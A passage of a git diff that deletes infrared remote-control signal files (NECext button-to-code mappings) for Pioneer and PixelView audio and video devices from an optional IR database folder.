00 00 00 -command: 03 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: SPEEDright -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: goto -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: rep -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: sel -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: L/R -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: root -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4C 00 00 00 -# -name: KEY_0+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: SPEEDleft -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 54 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_PD-M650/162,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_PD-M650/162,-1.ir deleted file mode 100644 index 543d27238..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_PD-M650/162,-1.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 09 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0A 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0B 00 00 00 -# -name: PGM -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0D 00 00 00 -# -name: Manual_R -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0E 00 00 00 -# -name: Manual_L -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0F 00 00 00 -# -name: Track_R -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 10 00 00 00 -# -name: Track_L -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 11 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 16 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 17 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 18 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 1C 00 00 00 -# -name: D1 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 1E 00 00 00 -# -name: D2 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 1F 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 45 00 00 00 -# -name: CHECK -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 49 00 00 00 -# -name: Random -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 4A 00 00 00 -# -name: D3 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 50 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 52 00 00 00 -# -name: D4 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 53 00 00 00 -# -name: +20 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 56 00 00 00 -# -name: D5 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 57 00 00 00 -# -name: D6 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 5B 00 00 00 -# -name: KEY_DELETE -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 5D 00 00 00 -# -name: High_Light_Scan -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_Pioneer-CU-XR014/2,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_Pioneer-CU-XR014/2,1.ir deleted file mode 100644 index d556c63a4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_Pioneer-CU-XR014/2,1.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 07 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 0B 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 0E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 0F 00 00 00 -# -name: MEM_SCAN -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 11 00 00 00 -# -name: MONO -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 12 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 17 00 00 00 -# -name: TUNER_BAND -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 18 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 19 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 1B 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 1C 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 1E 00 00 00 -# -name: AUX_VIDEO -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 1F 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 20 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 21 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 22 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 23 00 00 00 -# -name: DISC -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 27 00 00 00 -# -name: CD_PLAY_PAUSE -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 2B 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 2C 00 00 00 -# -name: SCAN -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 2D 00 00 00 -# -name: CD_STOP -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 2F 00 00 00 -# -name: CD_PREV -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 34 00 00 00 -# -name: CD_NEXT -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 36 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_VXX2801/163,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_VXX2801/163,-1.ir deleted file mode 100644 index 821095254..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_VXX2801/163,-1.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 98 00 00 00 -# -name: STANDBY/ON -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: BWD -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: SURROUND -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9C 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9D 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9E 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_cu-pd096/162,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_cu-pd096/162,-1.ir deleted file mode 100644 index c768ddae2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_cu-pd096/162,-1.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 09 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0A 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0B 00 00 00 -# -name: PGM -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0D 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0E 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0F 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 10 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 11 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 16 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 17 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 18 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 1C 00 00 00 -# -name: RDM -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 4A 00 00 00 -# -name: > -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 56 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_pioneer/162,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_pioneer/162,-1.ir deleted file mode 100644 index 32f1dc783..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_pioneer/162,-1.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 09 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0C 00 00 00 -# -name: pgm -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0D 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0E 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 0F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 10 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 11 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 16 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 17 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 18 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 1C 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 1D 00 00 00 -# -name: track_set -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 40 00 00 00 -# -name: disc_set -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 41 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 43 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 45 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 4A 00 00 00 -# -name: hi-lite -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 5E 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 93 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 93 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 94 00 00 00 -# -name: input -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 95 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 95 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 9B 00 00 00 -# -name: best -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 9B 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 9C 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 9C 00 00 00 -# -name: pre1 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: C1 00 00 00 -# -name: pre3 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: C2 00 00 00 -# -name: pre2 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: C6 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_pioneer/168,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_pioneer/168,-1.ir deleted file mode 100644 index 8d0c0396d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_pioneer/168,-1.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 09 00 00 00 -# -name: scanfwd -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 10 00 00 00 -# -name: scanrev -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 11 00 00 00 -# -name: chapframe-tracktime -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 13 00 00 00 -# -name: reject -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 16 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 17 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 18 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 1E 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 42 00 00 00 -# -name: disp -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 43 00 00 00 -# -name: repeatmode -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 44 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 45 00 00 00 -# -name: speeddown -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 46 00 00 00 -# -name: speedup -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 47 00 00 00 -# -name: steprev -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 50 00 00 00 -# -name: stepfwd -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 54 00 00 00 -# -name: multirev -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 55 00 00 00 -# -name: multifwd -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 58 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/PixelView/Unknown_2000/63,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/PixelView/Unknown_2000/63,-1.ir deleted file mode 100644 index b996d3499..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/PixelView/Unknown_2000/63,-1.ir +++ /dev/null @@ -1,398 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_TAB -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: SEEK-- -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: SEEK++ -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: SEEK- -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: SEEK+ -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_F1 -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_F2 -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_F3 -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_F4 -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 3F 00 00 00 -command: 3F 00 00 00 -# -name: KEY_MODE -type: parsed 